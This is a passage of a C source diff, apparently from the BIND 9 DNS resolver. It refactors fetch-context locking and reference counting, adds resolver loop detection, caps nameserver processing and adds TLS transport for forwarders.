 			want_try = true;
 		} else {
 			fctx->findfail++;
-			if (fctx->pending == 0) {
+			if (atomic_load_acquire(&fctx->pending) == 0) {
 				/*
-				 * We've got nothing else to wait for and don't
-				 * know the answer.  There's nothing to do but
-				 * fail the fctx.
+				 * We've got nothing else to wait for
+				 * and don't know the answer.  There's
+				 * nothing to do but fail the fctx.
 				 */
 				FCTX_ATTR_CLR(fctx, FCTX_ATTR_ADDRWAIT);
 				want_done = true;
 			}
 		}
-	} else if (SHUTTINGDOWN(fctx) && fctx->pending == 0 &&
-		   fctx->nqueries == 0 && ISC_LIST_EMPTY(fctx->validators))
-	{
-		if (isc_refcount_current(&fctx->references) == 0) {
-			bucket_empty = fctx_unlink(fctx);
-			dodestroy = true;
-		}
 	}
-	UNLOCK(&res->buckets[bucketnum].lock);
 
-	isc_event_free(&event);
+	UNLOCK(&fctx->lock);
+
 	dns_adb_destroyfind(&find);
 
-	if (want_try) {
+	if (want_done) {
+		FCTXTRACE("fetch failed in finddone(); return "
+			  "ISC_R_FAILURE");
+
+		fctx_done_unref(fctx, ISC_R_FAILURE);
+	} else if (want_try) {
 		fctx_try(fctx, true, false);
-	} else if (want_done) {
-		FCTXTRACE("fetch failed in finddone(); return ISC_R_FAILURE");
-		fctx_done(fctx, ISC_R_FAILURE, __LINE__);
-	} else if (dodestroy) {
-		fctx_destroy(fctx);
-		if (bucket_empty) {
-			empty_bucket(res);
-		}
 	}
+
+	fetchctx_detach(&fctx);
 }
 
-static inline bool
+static bool
 bad_server(fetchctx_t *fctx, isc_sockaddr_t *address) {
 	isc_sockaddr_t *sa;
 
 	for (sa = ISC_LIST_HEAD(fctx->bad); sa != NULL;
-	     sa = ISC_LIST_NEXT(sa, link)) {
+	     sa = ISC_LIST_NEXT(sa, link))
+	{
 		if (isc_sockaddr_equal(sa, address)) {
 			return (true);
 		}
@@ -3211,7 +2938,7 @@ bad_server(fetchctx_t *fctx, isc_sockaddr_t *address) {
 	return (false);
 }
 
-static inline bool
+static bool
 mark_bad(fetchctx_t *fctx) {
 	dns_adbfind_t *curr;
 	dns_adbaddrinfo_t *addrinfo;
@@ -3321,8 +3048,8 @@ add_bad(fetchctx_t *fctx, dns_message_t *rmessage, dns_adbaddrinfo_t *addrinfo,
 			break; /* counted as 'valfail' */
 		case badns_forwarder:
 			/*
-			 * We were called to prevent the given forwarder from
-			 * being used again for this fetch context.
+			 * We were called to prevent the given forwarder
+			 * from being used again for this fetch context.
 			 */
 			break;
 		}
@@ -3364,14 +3091,14 @@ add_bad(fetchctx_t *fctx, dns_message_t *rmessage, dns_adbaddrinfo_t *addrinfo,
 	} else {
 		code[0] = '\0';
 	}
-	dns_name_format(&fctx->name, namebuf, sizeof(namebuf));
+	dns_name_format(fctx->name, namebuf, sizeof(namebuf));
 	dns_rdatatype_format(fctx->type, typebuf, sizeof(typebuf));
 	dns_rdataclass_format(fctx->res->rdclass, classbuf, sizeof(classbuf));
 	isc_sockaddr_format(address, addrbuf, sizeof(addrbuf));
 	isc_log_write(
 		dns_lctx, DNS_LOGCATEGORY_LAME_SERVERS, DNS_LOGMODULE_RESOLVER,
 		ISC_LOG_INFO, "%s%s%s resolving '%s/%s/%s': %s", code, spc,
-		dns_result_totext(reason), namebuf, typebuf, classbuf, addrbuf);
+		isc_result_totext(reason), namebuf, typebuf, classbuf, addrbuf);
 }
 
 /*
@@ -3381,11 +3108,11 @@ static void
 sort_adbfind(dns_adbfind_t *find, unsigned int bias) {
 	dns_adbaddrinfo_t *best, *curr;
 	dns_adbaddrinfolist_t sorted;
-	unsigned int best_srtt, curr_srtt;
 
 	/* Lame N^2 bubble sort. */
 	ISC_LIST_INIT(sorted);
 	while (!ISC_LIST_EMPTY(find->list)) {
+		unsigned int best_srtt;
 		best = ISC_LIST_HEAD(find->list);
 		best_srtt = best->srtt;
 		if (isc_sockaddr_pf(&best->sockaddr) != AF_INET6) {
@@ -3393,7 +3120,7 @@ sort_adbfind(dns_adbfind_t *find, unsigned int bias) {
 		}
 		curr = ISC_LIST_NEXT(best, publink);
 		while (curr != NULL) {
-			curr_srtt = curr->srtt;
+			unsigned int curr_srtt = curr->srtt;
 			if (isc_sockaddr_pf(&curr->sockaddr) != AF_INET6) {
 				curr_srtt += bias;
 			}
@@ -3417,7 +3144,6 @@ sort_finds(dns_adbfindlist_t *findlist, unsigned int bias) {
 	dns_adbfind_t *best, *curr;
 	dns_adbfindlist_t sorted;
 	dns_adbaddrinfo_t *addrinfo, *bestaddrinfo;
-	unsigned int best_srtt, curr_srtt;
 
 	/* Sort each find's addrinfo list by SRTT. */
 	for (curr = ISC_LIST_HEAD(*findlist); curr != NULL;
@@ -3429,6 +3155,7 @@ sort_finds(dns_adbfindlist_t *findlist, unsigned int bias) {
 	/* Lame N^2 bubble sort. */
 	ISC_LIST_INIT(sorted);
 	while (!ISC_LIST_EMPTY(*findlist)) {
+		unsigned int best_srtt;
 		best = ISC_LIST_HEAD(*findlist);
 		bestaddrinfo = ISC_LIST_HEAD(best->list);
 		INSIST(bestaddrinfo != NULL);
@@ -3438,6 +3165,7 @@ sort_finds(dns_adbfindlist_t *findlist, unsigned int bias) {
 		}
 		curr = ISC_LIST_NEXT(best, publink);
 		while (curr != NULL) {
+			unsigned int curr_srtt;
 			addrinfo = ISC_LIST_HEAD(curr->list);
 			INSIST(addrinfo != NULL);
 			curr_srtt = addrinfo->srtt;
@@ -3456,19 +3184,51 @@ sort_finds(dns_adbfindlist_t *findlist, unsigned int bias) {
 	*findlist = sorted;
 }
 
+/*
+ * Return true iff the ADB find has a pending fetch for 'type'.  This is
+ * used to find out whether we're in a loop, where a fetch is waiting for a
+ * find which is waiting for that same fetch.
+ *
+ * Note: This could be done with either an equivalence check (e.g.,
+ * query_pending == DNS_ADBFIND_INET) or with a bit check, as below.  If
+ * we checked for equivalence, that would mean we could only detect a loop
+ * when there is exactly one pending fetch, and we're it. If there were
+ * pending fetches for *both* address families, then a loop would be
+ * undetected.
+ *
+ * However, using a bit check means that in theory, an ADB find might be
+ * aborted that could have succeeded, if the other fetch had returned an
+ * answer.
+ *
+ * Since there's a good chance the server is broken and won't answer either
+ * query, and since an ADB find with two pending fetches is a very rare
+ * occurrance anyway, we regard this theoretical SERVFAIL as the lesser
+ * evil.
+ */
+static bool
+waiting_for(dns_adbfind_t *find, dns_rdatatype_t type) {
+	switch (type) {
+	case dns_rdatatype_a:
+		return ((find->query_pending & DNS_ADBFIND_INET) != 0);
+	case dns_rdatatype_aaaa:
+		return ((find->query_pending & DNS_ADBFIND_INET6) != 0);
+	default:
+		return (false);
+	}
+}
+
 static void
 findname(fetchctx_t *fctx, const dns_name_t *name, in_port_t port,
 	 unsigned int options, unsigned int flags, isc_stdtime_t now,
 	 bool *overquota, bool *need_alternate, unsigned int *no_addresses) {
-	dns_adbaddrinfo_t *ai;
-	dns_adbfind_t *find;
-	dns_resolver_t *res;
-	bool unshared;
+	dns_adbaddrinfo_t *ai = NULL;
+	dns_adbfind_t *find = NULL;
+	dns_resolver_t *res = fctx->res;
+	bool unshared = ((fctx->options & DNS_FETCHOPT_UNSHARED) != 0);
 	isc_result_t result;
 
 	FCTXTRACE("FINDNAME");
-	res = fctx->res;
-	unshared = ((fctx->options & DNS_FETCHOPT_UNSHARED) != 0);
+
 	/*
 	 * If this name is a subdomain of the query domain, tell
 	 * the ADB to start looking using zone/hint data. This keeps us
@@ -3476,20 +3236,19 @@ findname(fetchctx_t *fctx, const dns_name_t *name, in_port_t port,
 	 * and we don't know its address (e.g. because the A record has
 	 * expired).
 	 */
-	if (dns_name_issubdomain(name, &fctx->domain)) {
+	if (dns_name_issubdomain(name, fctx->domain)) {
 		options |= DNS_ADBFIND_STARTATZONE;
 	}
-	options |= DNS_ADBFIND_GLUEOK;
-	options |= DNS_ADBFIND_HINTOK;
 
 	/*
 	 * See what we know about this address.
 	 */
-	find = NULL;
-	result = dns_adb_createfind(
-		fctx->adb, res->buckets[fctx->bucketnum].task, fctx_finddone,
-		fctx, name, &fctx->name, fctx->type, options, now, NULL,
-		res->view->dstport, fctx->depth + 1, fctx->qc, &find);
+	INSIST(!SHUTTINGDOWN(fctx));
+	fetchctx_ref(fctx);
+	result = dns_adb_createfind(fctx->adb, fctx->loop, fctx_finddone, fctx,
+				    name, fctx->name, fctx->type, options, now,
+				    NULL, res->view->dstport, fctx->depth + 1,
+				    fctx->qc, &find);
 
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER,
 		      DNS_LOGMODULE_RESOLVER, ISC_LOG_DEBUG(3),
@@ -3512,7 +3271,11 @@ findname(fetchctx_t *fctx, const dns_name_t *name, in_port_t port,
 				      "is a CNAME, while resolving '%s'",
 				      namebuf, fctx->info);
 		}
-	} else if (!ISC_LIST_EMPTY(find->list)) {
+		fetchctx_detach(&fctx);
+		return;
+	}
+
+	if (!ISC_LIST_EMPTY(find->list)) {
 		/*
 		 * We have at least some of the addresses for the
 		 * name.
@@ -3529,66 +3292,88 @@ findname(fetchctx_t *fctx, const dns_name_t *name, in_port_t port,
 				}
 			}
 		}
-		if ((flags & FCTX_ADDRINFO_FORWARDER) != 0) {
+		if ((flags & FCTX_ADDRINFO_DUALSTACK) != 0) {
 			ISC_LIST_APPEND(fctx->altfinds, find, publink);
 		} else {
 			ISC_LIST_APPEND(fctx->finds, find, publink);
 		}
-	} else {
-		/*
-		 * We don't know any of the addresses for this
-		 * name.
-		 */
+		return;
+	}
+
+	/*
+	 * We don't know any of the addresses for this name.
+	 *
+	 * The find may be waiting on a resolver fetch for a server
+	 * address. We need to make sure it isn't waiting on *this*
+	 * fetch, because if it is, we won't be answering it and it
+	 * won't be answering us.
+	 */
+	if (waiting_for(find, fctx->type) && dns_name_equal(name, fctx->name)) {
+		fctx->adberr++;
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER,
+			      DNS_LOGMODULE_RESOLVER, ISC_LOG_INFO,
+			      "loop detected resolving '%s'", fctx->info);
+
 		if ((find->options & DNS_ADBFIND_WANTEVENT) != 0) {
-			/*
-			 * We're looking for them and will get an
-			 * event about it later.
-			 */
-			fctx->pending++;
-			/*
-			 * Bootstrap.
-			 */
-			if (need_alternate != NULL && !*need_alternate &&
-			    unshared &&
-			    ((res->dispatches4 == NULL &&
-			      find->result_v6 != DNS_R_NXDOMAIN) ||
-			     (res->dispatches6 == NULL &&
-			      find->result_v4 != DNS_R_NXDOMAIN)))
-			{
-				*need_alternate = true;
-			}
-			if (no_addresses != NULL) {
-				(*no_addresses)++;
-			}
+			atomic_fetch_add_relaxed(&fctx->pending, 1);
+			dns_adb_cancelfind(find);
 		} else {
-			if ((find->options & DNS_ADBFIND_OVERQUOTA) != 0) {
-				if (overquota != NULL) {
-					*overquota = true;
-				}
-				fctx->quotacount++; /* quota exceeded */
-			} else if ((find->options & DNS_ADBFIND_LAMEPRUNED) !=
-				   0) {
-				fctx->lamecount++; /* cached lame server */
-			} else {
-				fctx->adberr++; /* unreachable server, etc. */
-			}
-
-			/*
-			 * If we know there are no addresses for
-			 * the family we are using then try to add
-			 * an alternative server.
-			 */
-			if (need_alternate != NULL && !*need_alternate &&
-			    ((res->dispatches4 == NULL &&
-			      find->result_v6 == DNS_R_NXRRSET) ||
-			     (res->dispatches6 == NULL &&
-			      find->result_v4 == DNS_R_NXRRSET)))
-			{
-				*need_alternate = true;
-			}
 			dns_adb_destroyfind(&find);
+			fetchctx_detach(&fctx);
+		}
+		return;
+	}
+
+	/*
+	 * We may be waiting for another fetch to complete, and
+	 * we'll get an event later when the find has what it needs.
+	 */
+	if ((find->options & DNS_ADBFIND_WANTEVENT) != 0) {
+		atomic_fetch_add_relaxed(&fctx->pending, 1);
+
+		/*
+		 * Bootstrap.
+		 */
+		if (need_alternate != NULL && !*need_alternate && unshared &&
+		    ((res->dispatches4 == NULL &&
+		      find->result_v6 != DNS_R_NXDOMAIN) ||
+		     (res->dispatches6 == NULL &&
+		      find->result_v4 != DNS_R_NXDOMAIN)))
+		{
+			*need_alternate = true;
+		}
+		if (no_addresses != NULL) {
+			(*no_addresses)++;
+		}
+		return;
+	}
+
+	/*
+	 * No addresses and no pending events: the find failed.
+	 */
+	if ((find->options & DNS_ADBFIND_OVERQUOTA) != 0) {
+		if (overquota != NULL) {
+			*overquota = true;
 		}
+		fctx->quotacount++; /* quota exceeded */
+	} else if ((find->options & DNS_ADBFIND_LAMEPRUNED) != 0) {
+		fctx->lamecount++; /* cached lame server */
+	} else {
+		fctx->adberr++; /* unreachable server, etc. */
+	}
+
+	/*
+	 * If we know there are no addresses for the family we are using then
+	 * try to add an alternative server.
+	 */
+	if (need_alternate != NULL && !*need_alternate &&
+	    ((res->dispatches4 == NULL && find->result_v6 == DNS_R_NXRRSET) ||
+	     (res->dispatches6 == NULL && find->result_v4 == DNS_R_NXRRSET)))
+	{
+		*need_alternate = true;
 	}
+	dns_adb_destroyfind(&find);
+	fetchctx_detach(&fctx);
 }
 
 static bool
@@ -3615,6 +3400,7 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 	bool need_alternate = false;
 	bool all_spilled = true;
 	unsigned int no_addresses = 0;
+	unsigned int ns_processed = 0;
 
 	FCTXTRACE5("getaddresses", "fctx->depth=", fctx->depth);
 
@@ -3648,8 +3434,8 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 	/*
 	 * If we have DNS_FETCHOPT_NOFORWARD set and forwarding policy
 	 * allows us to not forward - skip forwarders and go straight
-	 * to NSes. This is currently used to make sure that priming query
-	 * gets root servers' IP addresses in ADDITIONAL section.
+	 * to NSes. This is currently used to make sure that priming
+	 * query gets root servers' IP addresses in ADDITIONAL section.
 	 */
 	if ((fctx->options & DNS_FETCHOPT_NOFORWARD) != 0 &&
 	    (fctx->fwdpolicy != dns_fwdpolicy_only))
@@ -3665,42 +3451,41 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 	fwd = ISC_LIST_HEAD(fctx->forwarders);
 	if (fwd == NULL) {
 		dns_forwarders_t *forwarders = NULL;
-		dns_name_t *name = &fctx->name;
+		dns_name_t *name = fctx->name;
 		dns_name_t suffix;
-		unsigned int labels;
-		dns_fixedname_t fixed;
-		dns_name_t *domain;
 
 		/*
 		 * DS records are found in the parent server.
 		 * Strip label to get the correct forwarder (if any).
 		 */
 		if (dns_rdatatype_atparent(fctx->type) &&
-		    dns_name_countlabels(name) > 1) {
+		    dns_name_countlabels(name) > 1)
+		{
+			unsigned int labels;
 			dns_name_init(&suffix, NULL);
 			labels = dns_name_countlabels(name);
 			dns_name_getlabelsequence(name, 1, labels - 1, &suffix);
 			name = &suffix;
 		}
 
-		domain = dns_fixedname_initname(&fixed);
-		result = dns_fwdtable_find(res->view->fwdtable, name, domain,
+		result = dns_fwdtable_find(res->view->fwdtable, name,
 					   &forwarders);
-		if (result == ISC_R_SUCCESS) {
+		if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
 			fwd = ISC_LIST_HEAD(forwarders->fwdrs);
 			fctx->fwdpolicy = forwarders->fwdpolicy;
+			dns_name_copy(forwarders->name, fctx->fwdname);
 			if (fctx->fwdpolicy == dns_fwdpolicy_only &&
-			    isstrictsubdomain(domain, &fctx->domain))
+			    isstrictsubdomain(forwarders->name, fctx->domain))
 			{
 				fcount_decr(fctx);
-				dns_name_free(&fctx->domain, fctx->mctx);
-				dns_name_init(&fctx->domain, NULL);
-				dns_name_dup(domain, fctx->mctx, &fctx->domain);
+				dns_name_copy(forwarders->name, fctx->domain);
 				result = fcount_incr(fctx, true);
 				if (result != ISC_R_SUCCESS) {
+					dns_forwarders_detach(&forwarders);
 					return (result);
 				}
 			}
+			dns_forwarders_detach(&forwarders);
 		}
 	}
 
@@ -3718,7 +3503,15 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 		if (result == ISC_R_SUCCESS) {
 			dns_adbaddrinfo_t *cur;
 			ai->flags |= FCTX_ADDRINFO_FORWARDER;
-			ai->dscp = fwd->dscp;
+			if (fwd->tlsname != NULL) {
+				result = dns_view_gettransport(
+					res->view, DNS_TRANSPORT_TLS,
+					fwd->tlsname, &ai->transport);
+				if (result != ISC_R_SUCCESS) {
+					dns_adb_freeaddrinfo(fctx->adb, &ai);
+					goto next;
+				}
+			}
 			cur = ISC_LIST_HEAD(fctx->forwaddrs);
 			while (cur != NULL && cur->srtt < ai->srtt) {
 				cur = ISC_LIST_NEXT(cur, publink);
@@ -3730,12 +3523,13 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 				ISC_LIST_APPEND(fctx->forwaddrs, ai, publink);
 			}
 		}
+	next:
 		fwd = ISC_LIST_NEXT(fwd, link);
 	}
 
 	/*
-	 * If the forwarding policy is "only", we don't need the addresses
-	 * of the nameservers.
+	 * If the forwarding policy is "only", we don't need the
+	 * addresses of the nameservers.
 	 */
 	if (fctx->fwdpolicy == dns_fwdpolicy_only) {
 		goto out;
@@ -3755,8 +3549,9 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 		 * can use.
 		 *
 		 * We don't want to set this option all the time, since
-		 * if fctx->restarts > 1, we've clearly been having trouble
-		 * with the addresses we had, so getting more could help.
+		 * if fctx->restarts > 1, we've clearly been having
+		 * trouble with the addresses we had, so getting more
+		 * could help.
 		 */
 		stdoptions |= DNS_ADBFIND_AVOIDFETCHES;
 	}
@@ -3771,7 +3566,7 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 		return (DNS_R_SERVFAIL);
 	}
 
-	isc_stdtime_get(&now);
+	now = isc_stdtime_now();
 
 	INSIST(ISC_LIST_EMPTY(fctx->finds));
 	INSIST(ISC_LIST_EMPTY(fctx->altfinds));
@@ -3805,6 +3600,11 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 
 		dns_rdata_reset(&rdata);
 		dns_rdata_freestruct(&ns);
+
+		if (++ns_processed >= NS_PROCESSING_LIMIT) {
+			result = ISC_R_NOMORE;
+			break;
+		}
 	}
 	if (result != ISC_R_NOMORE) {
 		return (result);
@@ -3818,10 +3618,11 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 		alternate_t *a;
 		family = (res->dispatches6 != NULL) ? AF_INET6 : AF_INET;
 		for (a = ISC_LIST_HEAD(res->alternates); a != NULL;
-		     a = ISC_LIST_NEXT(a, link)) {
+		     a = ISC_LIST_NEXT(a, link))
+		{
 			if (!a->isaddress) {
 				findname(fctx, &a->_u._n.name, a->_u._n.port,
-					 stdoptions, FCTX_ADDRINFO_FORWARDER,
+					 stdoptions, FCTX_ADDRINFO_DUALSTACK,
 					 now, NULL, NULL, NULL);
 				continue;
 			}
@@ -3834,6 +3635,7 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 			if (result == ISC_R_SUCCESS) {
 				dns_adbaddrinfo_t *cur;
 				ai->flags |= FCTX_ADDRINFO_FORWARDER;
+				ai->flags |= FCTX_ADDRINFO_DUALSTACK;
 				cur = ISC_LIST_HEAD(fctx->altaddrs);
 				while (cur != NULL && cur->srtt < ai->srtt) {
 					cur = ISC_LIST_NEXT(cur, publink);
@@ -3862,10 +3664,11 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 		/*
 		 * We've got no addresses.
 		 */
-		if (fctx->pending > 0) {
+		if (atomic_load_acquire(&fctx->pending) > 0) {
 			/*
-			 * We're fetching the addresses, but don't have any
-			 * yet.   Tell the caller to wait for an answer.
+			 * We're fetching the addresses, but don't have
+			 * any yet.   Tell the caller to wait for an
+			 * answer.
 			 */
 			result = DNS_R_WAIT;
 		} else {
@@ -3873,8 +3676,8 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 			isc_interval_t i;
 			/*
 			 * We've lost completely.  We don't know any
-			 * addresses, and the ADB has told us it can't get
-			 * them.
+			 * addresses, and the ADB has told us it can't
+			 * get them.
 			 */
 			FCTXTRACE("no addresses");
 			isc_interval_set(&i, DNS_RESOLVER_BADCACHETTL(fctx), 0);
@@ -3884,7 +3687,7 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 			     fctx->type == dns_rdatatype_ds) &&
 			    result == ISC_R_SUCCESS)
 			{
-				dns_resolver_addbadcache(res, &fctx->name,
+				dns_resolver_addbadcache(res, fctx->name,
 							 fctx->type, &expire);
 			}
 
@@ -3892,8 +3695,8 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 
 			/*
 			 * If all of the addresses found were over the
-			 * fetches-per-server quota, return the configured
-			 * response.
+			 * fetches-per-server quota, return the
+			 * configured response.
 			 */
 			if (all_spilled) {
 				result = res->quotaresp[dns_quotatype_server];
@@ -3902,8 +3705,8 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 		}
 	} else {
 		/*
-		 * We've found some addresses.  We might still be looking
-		 * for more addresses.
+		 * We've found some addresses.  We might still be
+		 * looking for more addresses.
 		 */
 		sort_finds(&fctx->finds, res->view->v6bias);
 		sort_finds(&fctx->altfinds, 0);
@@ -3913,24 +3716,20 @@ fctx_getaddresses(fetchctx_t *fctx, bool badcache) {
 	return (result);
 }
 
-static inline void
+static void
 possibly_mark(fetchctx_t *fctx, dns_adbaddrinfo_t *addr) {
 	isc_netaddr_t na;
-	char buf[ISC_NETADDR_FORMATSIZE];
-	isc_sockaddr_t *sa;
+	isc_sockaddr_t *sa = &addr->sockaddr;
 	bool aborted = false;
 	bool bogus;
 	dns_acl_t *blackhole;
 	isc_netaddr_t ipaddr;
 	dns_peer_t *peer = NULL;
-	dns_resolver_t *res;
+	dns_resolver_t *res = fctx->res;
 	const char *msg = NULL;
 
-	sa = &addr->sockaddr;
-
-	res = fctx->res;
 	isc_netaddr_fromsockaddr(&ipaddr, sa);
-	blackhole = dns_dispatchmgr_getblackhole(res->dispatchmgr);
+	blackhole = dns_dispatchmgr_getblackhole(res->view->dispatchmgr);
 	(void)dns_peerlist_peerbyaddr(res->view->peers, &ipaddr, &peer);
 
 	if (blackhole != NULL) {
@@ -3945,7 +3744,8 @@ possibly_mark(fetchctx_t *fctx, dns_adbaddrinfo_t *addr) {
 	}
 
 	if (peer != NULL && dns_peer_getbogus(peer, &bogus) == ISC_R_SUCCESS &&
-	    bogus) {
+	    bogus)
+	{
 		aborted = true;
 	}
 
@@ -3974,13 +3774,14 @@ possibly_mark(fetchctx_t *fctx, dns_adbaddrinfo_t *addr) {
 	}
 
 	if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(3))) {
+		char buf[ISC_NETADDR_FORMATSIZE];
 		isc_netaddr_fromsockaddr(&na, sa);
 		isc_netaddr_format(&na, buf, sizeof(buf));
 		FCTXTRACE2(msg, buf);
 	}
 }
 
-static inline dns_adbaddrinfo_t *
+static dns_adbaddrinfo_t *
 fctx_nextaddress(fetchctx_t *fctx) {
 	dns_adbfind_t *find, *start;
 	dns_adbaddrinfo_t *addrinfo;
@@ -4150,17 +3951,14 @@ static void
 fctx_try(fetchctx_t *fctx, bool retrying, bool badcache) {
 	isc_result_t result;
 	dns_adbaddrinfo_t *addrinfo = NULL;
-	dns_resolver_t *res;
-	isc_task_t *task;
-	unsigned int bucketnum;
-	bool bucket_empty;
+	dns_resolver_t *res = NULL;
 
 	FCTXTRACE5("try", "fctx->qc=", isc_counter_used(fctx->qc));
 
 	REQUIRE(!ADDRWAIT(fctx));
+	REQUIRE(fctx->tid == isc_tid());
 
 	res = fctx->res;
-	bucketnum = fctx->bucketnum;
 
 	/* We've already exceeded maximum query count */
 	if (isc_counter_used(fctx->qc) > res->maxqueries) {
@@ -4170,41 +3968,39 @@ fctx_try(fetchctx_t *fctx, bool retrying, bool badcache) {
 			      "(querycount=%u, maxqueries=%u)",
 			      fctx->info, isc_counter_used(fctx->qc),
 			      res->maxqueries);
-		fctx_done(fctx, DNS_R_SERVFAIL, __LINE__);
-		return;
+		result = DNS_R_SERVFAIL;
+		goto done;
 	}
 
 	addrinfo = fctx_nextaddress(fctx);
 
 	/* Try to find an address that isn't over quota */
-	while (addrinfo != NULL && dns_adbentry_overquota(addrinfo->entry)) {
+	while (addrinfo != NULL && dns_adb_overquota(fctx->adb, addrinfo)) {
 		addrinfo = fctx_nextaddress(fctx);
 	}
 
 	if (addrinfo == NULL) {
 		/* We have no more addresses.  Start over. */
 		fctx_cancelqueries(fctx, true, false);
-		fctx_cleanupall(fctx);
+		fctx_cleanup(fctx);
 		result = fctx_getaddresses(fctx, badcache);
-		if (result == DNS_R_WAIT) {
-			/*
-			 * Sleep waiting for addresses.
-			 */
+		switch (result) {
+		case ISC_R_SUCCESS:
+			break;
+		case DNS_R_WAIT:
+			/* Sleep waiting for addresses. */
 			FCTXTRACE("addrwait");
 			FCTX_ATTR_SET(fctx, FCTX_ATTR_ADDRWAIT);
 			return;
-		} else if (result != ISC_R_SUCCESS) {
-			/*
-			 * Something bad happened.
-			 */
-			fctx_done(fctx, result, __LINE__);
-			return;
+		default:
+			goto done;
 		}
 
 		addrinfo = fctx_nextaddress(fctx);
 
 		while (addrinfo != NULL &&
-		       dns_adbentry_overquota(addrinfo->entry)) {
+		       dns_adb_overquota(fctx->adb, addrinfo))
+		{
 			addrinfo = fctx_nextaddress(fctx);
 		}
 
@@ -4213,8 +4009,8 @@ fctx_try(fetchctx_t *fctx, bool retrying, bool badcache) {
 		 * might be bad ones.  In this case, return SERVFAIL.
 		 */
 		if (addrinfo == NULL) {
-			fctx_done(fctx, DNS_R_SERVFAIL, __LINE__);
-			return;
+			result = DNS_R_SERVFAIL;
+			goto done;
 		}
 	}
 	/*
@@ -4224,9 +4020,9 @@ fctx_try(fetchctx_t *fctx, bool retrying, bool badcache) {
 	if (fctx->minimized && !fctx->forwarding) {
 		unsigned int options = fctx->options;
 		/*
-		 * Also clear DNS_FETCHOPT_TRYSTALE_ONTIMEOUT here, otherwise
-		 * every query minimization step will activate the try-stale
-		 * timer again.
+		 * Also clear DNS_FETCHOPT_TRYSTALE_ONTIMEOUT here,
+		 * otherwise every query minimization step will activate
+		 * the try-stale timer again.
 		 */
 		options &= ~(DNS_FETCHOPT_QMINIMIZE |
 			     DNS_FETCHOPT_TRYSTALE_ONTIMEOUT);
@@ -4240,7 +4036,7 @@ fctx_try(fetchctx_t *fctx, bool retrying, bool badcache) {
 			char namebuf[DNS_NAME_FORMATSIZE];
 			char typebuf[DNS_RDATATYPE_FORMATSIZE];
 
-			dns_name_format(&fctx->qminname, namebuf,
+			dns_name_format(fctx->qminname, namebuf,
 					sizeof(namebuf));
 			dns_rdatatype_format(fctx->qmintype, typebuf,
 					     sizeof(typebuf));
@@ -4254,32 +4050,31 @@ fctx_try(fetchctx_t *fctx, bool retrying, bool badcache) {
 				      fctx->qminfetch,
 				      validfctx ? fctx->qminfetch->private->info
 						: "<invalid>");
-			fctx_done(fctx, DNS_R_SERVFAIL, __LINE__);
-			return;
+			result = DNS_R_SERVFAIL;
+			goto done;
 		}
 
 		/*
-		 * In "_ A" mode we're asking for _.domain -
-		 * resolver by default will follow delegations
-		 * then, we don't want that.
+		 * Turn on NOFOLLOW in relaxed mode so that QNAME minimization
+		 * doesn't cause additional queries to resolve the target of the
+		 * QNAME minimization request when a referral is returned.  This
+		 * will also reduce the impact of mis-matched NS RRsets where
+		 * the child's NS RRset is garbage.  If a delegation is
+		 * discovered DNS_R_DELEGATION will be returned to resume_qmin.
 		 */
-		if ((options & DNS_FETCHOPT_QMIN_USE_A) != 0) {
+		if ((options & DNS_FETCHOPT_QMIN_STRICT) == 0) {
 			options |= DNS_FETCHOPT_NOFOLLOW;
 		}
-		fctx_increference(fctx);
-		task = res->buckets[bucketnum].task;
-		fctx_stoptimer(fctx);
-		fctx_stoptimer_trystale(fctx);
+
+		fetchctx_ref(fctx);
 		result = dns_resolver_createfetch(
-			fctx->res, &fctx->qminname, fctx->qmintype,
-			&fctx->domain, &fctx->nameservers, NULL, NULL, 0,
-			options, 0, fctx->qc, task, resume_qmin, fctx,
-			&fctx->qminrrset, NULL, &fctx->qminfetch);
+			fctx->res, fctx->qminname, fctx->qmintype, fctx->domain,
+			&fctx->nameservers, NULL, NULL, 0, options, 0, fctx->qc,
+			fctx->loop, resume_qmin, fctx, &fctx->qminrrset, NULL,
+			&fctx->qminfetch);
 		if (result != ISC_R_SUCCESS) {
-			LOCK(&fctx->res->buckets[fctx->bucketnum].lock);
-			RUNTIME_CHECK(!fctx_decreference(fctx));
-			UNLOCK(&fctx->res->buckets[fctx->bucketnum].lock);
-			fctx_done(fctx, DNS_R_SERVFAIL, __LINE__);
+			fetchctx_unref(fctx);
+			goto done;
 		}
 		return;
 	}
@@ -4290,111 +4085,120 @@ fctx_try(fetchctx_t *fctx, bool retrying, bool badcache) {
 			      DNS_LOGMODULE_RESOLVER, ISC_LOG_DEBUG(3),
 			      "exceeded max queries resolving '%s'",
 			      fctx->info);
-		fctx_done(fctx, DNS_R_SERVFAIL, __LINE__);
-		return;
+		goto done;
 	}
 
-	fctx_increference(fctx);
-
 	result = fctx_query(fctx, addrinfo, fctx->options);
 	if (result != ISC_R_SUCCESS) {
-		fctx_done(fctx, result, __LINE__);
-		LOCK(&res->buckets[bucketnum].lock);
-		bucket_empty = fctx_decreference(fctx);
-		UNLOCK(&res->buckets[bucketnum].lock);
-		if (bucket_empty) {
-			empty_bucket(res);
-		}
-	} else if (retrying) {
+		goto done;
+	}
+	if (retrying) {
 		inc_stats(res, dns_resstatscounter_retry);
 	}
+
+done:
+	if (result != ISC_R_SUCCESS) {
+		fctx_done_detach(&fctx, result);
+	}
 }
 
 static void
-resume_qmin(isc_task_t *task, isc_event_t *event) {
-	dns_fetchevent_t *fevent;
-	dns_resolver_t *res;
-	fetchctx_t *fctx;
+resume_qmin(void *arg) {
